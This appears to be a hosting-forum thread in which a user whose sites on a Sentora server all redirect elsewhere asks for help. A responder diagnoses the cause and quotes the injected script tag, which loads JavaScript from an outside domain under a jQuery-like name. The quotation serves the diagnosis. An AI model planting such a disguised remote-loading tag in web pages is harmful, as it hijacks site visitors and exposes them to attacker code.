Suddenly all sites are being redirected to different url

[fearworks]

Hi,

I think some sort of attack did this, suddenly my all sites, even control panel are redirecting to another site, I am not sure who did this and how, but i am unable to find any redirects in virtual host files, htaccess etc.

All of the sites are behaving the same way.  Some of the details are below.

Panel Domain: server2.afterdoor.com
Ip: 23.227.163.211
Ubuntu 14.04

Some of the hosted websites

afterdoor.com
mivapps.com

Everything is being redirected to another site.


Please help me out in this issue it's kind of urgent.

Thanks

You seem to have a script that has been added to your web pages at the very top, sometimes several times:

Code:

<script type='text/javascript' async src='https://css.developmyredflag.top/sjquery.min.js?style=prime&'></script>

Is it possible for you to check if this has been added to the actual html files on your server or if it is being added dynamically somewhere?

You will know exactly what your server setup is, and the rest of us can only guess as to whether you have other people accessing your Sentora account, or other people accessing your server, and whether you are running a secure Sentora server of if you have tried upgrading PHP etc. which may have left a vulnerability. It's always possible that someone has found a way in that has been previously unknown, or it may be via a vulnerable script that you have on one of your sites... could be so many things but in a word I would describe it as some sort of "hack".

Keith

EDIT: If your signature is correct and you really are running Sentora 1.0.0, the current release is 1.0.3. Therefore you are incredibly out of date.